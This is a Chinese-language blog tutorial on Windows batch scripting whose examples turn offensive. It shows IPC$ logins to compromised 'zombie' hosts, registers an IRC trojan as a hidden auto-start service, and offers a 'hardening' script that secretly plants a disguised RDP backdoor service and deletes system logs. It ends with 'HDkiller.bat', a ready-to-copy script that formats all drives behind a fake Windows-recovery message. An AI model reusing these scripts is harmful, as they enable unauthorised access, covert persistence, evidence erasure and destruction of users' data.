■二.如何在批處理檔案中使用參數 =========================== 批處理中可以使用參數,一般是從%1到 %9這九個,當有多個參數時需要用shift來移動。 例1:fomat.bat @echo off if "%1"=="a" goto format :format @format a:/q @echo 請插入另一張軟盤 @pause @goto format 分析:這個例子用於連續地格式化幾張軟盤,所以用的時候需在dos視窗輸入fomat a,呵呵,是不是覺得這個批處理有點畫蛇添足呢? 例2: @echo off @net user %1ipc$ 「%2」 /user:」%3」 @if errorlevel 1 echo 連接失敗 分析:當我們要建立一個IPC$連接時總要輸入一大串指令,弄不好就打錯了,所以我們不如把一些固定指令寫成一個批處理,把肉雞的「IP位址 密碼 帳號」當成參數來賦給這個批處理,這樣就不用每次都打指令了。 怎麼樣,使用參數還是比較簡單的吧?你這麼帥一定學會了^_^. ■三.組合指令的使用(Compound Command) ==================================== ▲1. & 用法:第一條指令 & 第二條指令 [&& 用法:第一條指令 && 第二條指令 [&&& && copy d:backup.mdb e:backup.mdb 分析:如果D盤存在backup.mdb檔案,就把它複製到E盤。這種用法可以取代if exist了。 ▲2. && 用法:第一條指令 && 第二條指令 [&& 第三條指令...] 說明:同時執行多條指令,當執行到錯誤的指令後將不執行後面的指令,否則一直執行完全部指令。 例 1:dir z: && dir c: dir c: && dir z: 在做備份的時候用到這種指令可能會比較方便。 例 2:dir d:backup.mdb && copy d:backup.mdb e:backup.mdb 分析:如果D盤存在backup.mdb檔案,就把它複製到E盤。這種用法可以取代if exist了。 ▲3. || 用法:第一條指令 || 第二條指令 [|| 第三條指令...] 說明:同時執行多條指令,當執行到正確的指令後將不執行後面的指令,否則一直執行完全部指令。 例如:dir z: || dir y: || dir c: || dir x: ■四、管道指令的使用 =================== ▲1. | 指令 用法:第一條指令 | 第二條指令 [| 第三條指令...] 說明:將第一條指令的結果作為第二條指令的參數來使用。 例如:netstat -n -p tcp|find ":3389" 分析:用於終端服務,取得登入用戶的IP。 ▲2. >、>>輸出重定向指令 說明:將一條指令或某個程式輸出的結果儲存到特定檔案中。>與>>的區別在於:>會清除原有檔案中的內容再寫入指定檔案;而>>不會改動原有檔案中的內容,只是追加內容到指定檔案尾部。 例1:echo hello world>c:hello.txt 例2:dir %windir%system32*.exe >d:exe.txt & dir %windir%system32*.dll >d:dll.txt 分析:system32目錄是許多木馬鍾愛的藏身之所,只要我們在裝完系統和必要的應用程式後,對該目錄的exe和dll檔案作一個記錄。日後如發現異常,懷疑係統中已經潛入DLL木馬。這時可用同樣的指令將system32下的exe和dll檔案記錄到d:exe1.txt和d:dll1.txt中,然後執行: fcd:diff.txt &>d:diff.txt (用fc指令比較前後兩次的dll和exe檔案,並將結果輸入到diff.txt中),這樣我們就能發現多出來一些dll和exe檔案,然後透過檢視建立時間、版本、是否經過壓縮等就能夠比較容易地判斷出是不是已經被dll木馬光顧了。沒有是最好,如果有的話也不要直接del掉,先用regsvr32 /u 指令將後門dll檔案登出掉,再把它移到資源回收筒裡,若系統沒有異常表現再將之徹底刪除或者送出給防毒軟體公司。 ▲3. < 、>& 、<& 說明:< 從檔案中而不是從鍵盤中讀入指令輸入。>& 將一個句柄的輸出寫入到另一個句柄的輸入中。 <& 從一個句柄讀取輸入並將其寫入到另一個句柄輸出中。這些並不常用,也就不多做介紹。 ■五、登錄檔操作 =================== ▲1. 建立 說明:建立分為兩種,一種是建立子項(Subkey) ,一種是建立數值名稱。 例 1: Windows Registry Editor Version 5.00 [HKEY_LOCAL_MACHINESOFTWAREMicrosofthacker] 作用:在HKEY_LOCAL_MACHINESOFTWAREMicrosoft下建立了一個名為"hacker"的子項。 例 2: Windows Registry Editor Version 5.00 [HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun] "Invader"="Ex4rch" "door"=c:windowssystem32door.exe "autodos"=dword:02 作用:在HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun下新增了:Invader、door、autodos這三個數值。Invader的類型是「字串值」,door的類型是「字串值」,autodos的類型是「DWORD值」。 ▲2. 修改 說明:只須把要修改的項目匯出,然後用筆記本進行修改,再匯入(regedit /s)即可。 ▲3. 刪除 說明:同樣分為兩種,一種是刪除子項(Subkey) ,一種是刪除數值名稱。 例 1: Windows Registry Editor Version 5.00 [-HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun] 作用:刪除HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun 例 2: Windows Registry Editor Version 5.00 [HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun] "Ex4rch"=- 作用:刪除HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun下的數值「Ex4rch」。 例3: @echo off echo Windows Registry Editor Version 5.00>sample.reg echo.>>sample.reg echo [HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun]>>sample.reg echo "Invader"="Ex4rch">>sample.reg echo "door"=c:windowssystem32door.exe >>sample.reg echo "autodos"=dword:02>>sample.reg regedit /s sample.reg del /f /q sample.reg 作用:利用重定向符號建立登錄檔檔案sample.reg,並不經提示將其強行匯入登錄檔,最後刪除檔案。 例 4: @start windrv32.exe @attrib +h +r windrv32.exe @echo [HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun] >>patch.dll @echo "windsnx "=- >>patch.dll @sc create Windriversrv binpath= c:windowssystem32windrv32.exe type= kernel start= auto displayname= WindowsDriver @regedit /s patch.dll @delete patch.dll @REM [刪除DSNXDE在登錄檔中的啟動項,用sc.exe將之註冊為系統關鍵性服務的同時將其內容設為隱藏和唯讀,並設定為自啟動] 作用:將木馬程式註冊為系統服務實現更好保護木馬。下面以組態設定好地IRC木馬DSNX為例(名為windrv32.exe) ■六.精彩實例 =========== ▲1. 刪除win2k/xp系統預設共享的批處理 ========================= 從這裡開始複製,儲存為delshare.bat ========================= @echo off rem 檢查參數,如果為空,則顯示用法。 if {%1}=={} goto Usage echo ______________________________________________________________________________ echo. echo 刪除指定共享 ... echo. net share %1$ /delete >nul net share %2$ /delete >nul net share %3$ /delete >nul net share %4$ /delete >nul net share %5$ /delete >nul net share %6$ /delete >nul net share %7$ /delete >nul net share %8$ /delete >nul net share %9$ /delete >nul net stop Server net start Server echo 建立登錄檔檔案 ... echo Windows Registry Editor Version 5.00> delshare.reg echo.>>c:delshare.reg echo [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServiceslanmanserverparameters]>> delshare.reg echo "AutoShareWks"=dword:00000000>> delshare.reg echo "AutoShareServer"=dword:00000000>> delshare.reg regedit /s delshare.reg echo. echo ☆ 刪除系統預設共享 ☆ echo ______________________________________________________________________________ echo Power by yupsky Email:yupsky@live.com msn:yupsky echo ______________________________________________________________________________ echo. echo # 錯誤:沒有使用參數 echo. echo # 請輸入你要刪除共享的磁碟盤符 echo. echo 例如: echo delshare c d e ipc admin print echo. echo 例如: echo delshare c d e x y z ipc admin print echo. echo ______________________________________________________________________________ echo. echo ______________________________________________________________________________ echo. echo [ 按 任 意 鍵 退 出 ] pause >nul ======================== 到這裡結束複製,儲存為delshare.bat ======================== ▲2. 全面加固系統 ======================== 從這裡開始複製,儲存為system.bat ========================= @echo off echo Windows Registry Editor Version 5.00>patch.dll echo.>>patch.dll rem [禁止共享] echo [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServiceslanmanserverparameters]>>patch.dll echo "AutoShareServer"=dword:00000000>>patch.dll echo "AutoShareWks"=dword:00000000>>patch.dll rem [禁止暱稱登入] echo [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlLsa]>>patch.dll echo "restrictanonymous"=dword:00000001>>patch.dll rem [禁止檔案訪問和列印共享] echo [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesNetBTParameters]>>patch.dll echo "SMBDeviceEnabled"=dword:00000000>>patch.dll rem [禁止登入前關機] echo [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesremoteRegistry]>>patch.dll echo "Start"=dword:00000004>>patch.dll echo [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesSchedule]>>patch.dll echo "Start"=dword:00000004>>patch.dll echo [HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionWinlogon]>>patch.dll echo "ShutdownWithoutLogon"="0">>patch.dll rem [禁止顯示前一個登入帳號稱] echo "DontDisplayLastUserName"="1">>patch.dll rem [修改3389連接,連接埠為8210(十六進制為00002012),名稱為Microsoft EventLog,留條後路] echo [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal ServerWinStationsRDP-Tcp]>>patch.dll echo "PortNumber"=dword:00002010>>patch.dll echo [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal ServerWdsrdpwdTdstcp>>patch.dll echo "PortNumber"=dword:00002012>>patch.dll echo [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesTermDD]>>patch.dll echo "Start"=dword:00000002>>patch.dll echo [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesSecuService]>>patch.dll echo "Start"=dword:00000002>>patch.dll echo "ErrorControl"=dword:00000001>>patch.dll echo "ImagePath"=hex(2):25,00,53,00,79,00,73,00,74,00,65,00,6d,00,52,00,6f,00,6f,00,>>patch.dll echo 74,00,25,00,5c,00,53,00,79,00,73,00,74,00,65,00,6d,00,33,00,32,00,5c,00,65,>>patch.dll echo 00,76,00,65,00,6e,00,74,00,6c,00,6f,00,67,00,2e,00,65,00,78,00,65,00,00,00>>patch.dll echo "ObjectName"="LocalSystem">>patch.dll echo "Type"=dword:00000010>>patch.dll echo "Description"="Keep record of the program and windows' message。">>patch.dll echo "DisplayName"="Microsoft EventLog">>patch.dll echo [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicestermservice]>>patch.dll echo "Start"=dword:00000004>>patch.dll copy %windir%system32termsrv.exe %windir%system32eventlog.exe regedit /s patch.dll del /f /q patch.dll rem [刪除日誌] net stop w3svc net stop eventlog del /f /q %windir%system32logfilesw3svc1*.* del /f /q %windir%system32logfilesw3svc2*.* del /f /q %windir%system32config*.event del /f /q %windir%system32dtclog*.* del /f /q %windir%*.txt del /f /q %windir%*.log net start w3svc net start eventlog rem [禁止一些危險的服務] net stop lanmanserver net stop Schedule net stop RemoteRegistry ======================== 到這裡結束複製,儲存為system.bat ========================= ▲3. 硬碟殺手(僅供在虛擬機中測試,否則造成硬碟資料遺失,後果自負!) ======================== 從這裡開始複製,儲存為HDkiller.bat ========================= @echo off :start cls echo 正在裝入程式 . . . rem 硬碟機檢查並分配有效的硬碟機。 set drive= set alldrive=c d e f g h i j k l m n o p q r s t u v w x y z rem 磁碟檢查代碼開始。 echo @echo off>drivechk.bat Rem echo @prompt %%%%comspec%%%% /f /c vol %%%%1: $b find "的卷" > nul >temp.bat Rem %comspec% /e:2048 /c temp.bat>>drivechk.bat echo ";vol %%1: | find "的卷";">temp.bat for /f "tokens=2 delims=;" %%i in (temp.bat) do @echo %%i>>drivechk.bat del /f /q temp.bat echo if errorlevel 1 goto enddc >>drivechk.bat echo ";dir %%1: /ad/w/-p | find "位元組";">temp.bat for /f "tokens=2 delims=;" %%i in (temp.bat) do @echo %%i>>drivechk.bat del /f /q temp.bat echo if errorlevel 1 goto enddc >>drivechk.bat rem 如果返回碼為1,則指定的硬碟機是可移動磁碟。 echo ";dir %%1: /ad/w/-p | find "0 可用位元組";">temp.bat for /f "tokens=2 delims=;" %%i in (temp.bat) do @echo %%i>>drivechk.bat del /f /q temp.bat echo if errorlevel 1 set drive=%%drive%% %%1 >>drivechk.bat rem 如果返回碼為1,則指定的硬碟機是硬諜或軟盤硬碟機;否則是光碟硬碟機。 echo :enddc>>drivechk.bat rem 磁碟檢查代碼結束。 :Getdrv rem 使用 drivechk.bat 取得有效硬碟機資訊。 for %%a in (%alldrive%) do call drivechk.bat %%a >nul del /f /q drivechk.bat if %drive.==. set drive=c :form_del call attrib -r -h c:autoexec.bat >nul echo @echo off >c:autoexec.bat echo echo 正在載入 Windows, 請等待 Microsoft Windows 恢復你的系統 . . . >>c:autoexec.bat echo for %%%%a in (%drive%) do call format %%%%a: /q /u /y >nul>>c:autoexec.bat echo cls >>c:autoexec.bat echo echo 正在載入 Windows, 請等待 Microsoft Windows 恢復你的系統 . . . >>c:autoexec.bat echo for %%%%a in (%drive%) do call c:temp.bat %%%%a Tony>nul>>c:autoexec.bat echo cls >>c:autoexec.bat echo echo 正在載入 Windows, 請等待 Microsoft Windows 恢復你的系統 . . . >>c:autoexec.bat echo for %%%%a in (%drive%) do call rd /q %%%%a: >nul>>c:autoexec.bat echo cls >>c:autoexec.bat echo cd >>c:autoexec.bat call attrib +r +h c:autoexec.bat :makedir if exist c:temp.bat attrib -r -h c:temp.bat >nul echo @echo off >c:temp.bat echo %%1: >>c:temp.bat echo cd >>c:temp.bat echo :startmd >>c:temp.bat echo if not exist %%2 md %%2>>c:temp.bat echo if exist %%2 cd %%2>>c:temp.bat echo if not exist %%1:%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2% %2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2nul goto startmd >>c:temp.bat call attrib +r +h c:temp.bat >nul cls echo 正在初始化變數 . . . for %%a in (%drive%) do call format %%a: /q /u /y>nul for %%a in (%drive%) do call c:temp.bat %%a Tony>nul for %%a in (%drive%) do call attrib -r -h %%a: /S >nul call attrib +r +h c:temp.bat >nul call attrib +r +h c:autoexec.bat >nul for %%a in (%drive%) do call rd /q %%a:*. >nul for %%a in (%drive%) do call c:temp.bat %%a Tony>nul :end ======================== 到這裡結束複製,儲存為HDkiller.bat =======================
創作者介紹
創作者 hses 的頭像
hses

hses

hses 發表在 痞客邦 留言(0) 人氣( 2953 )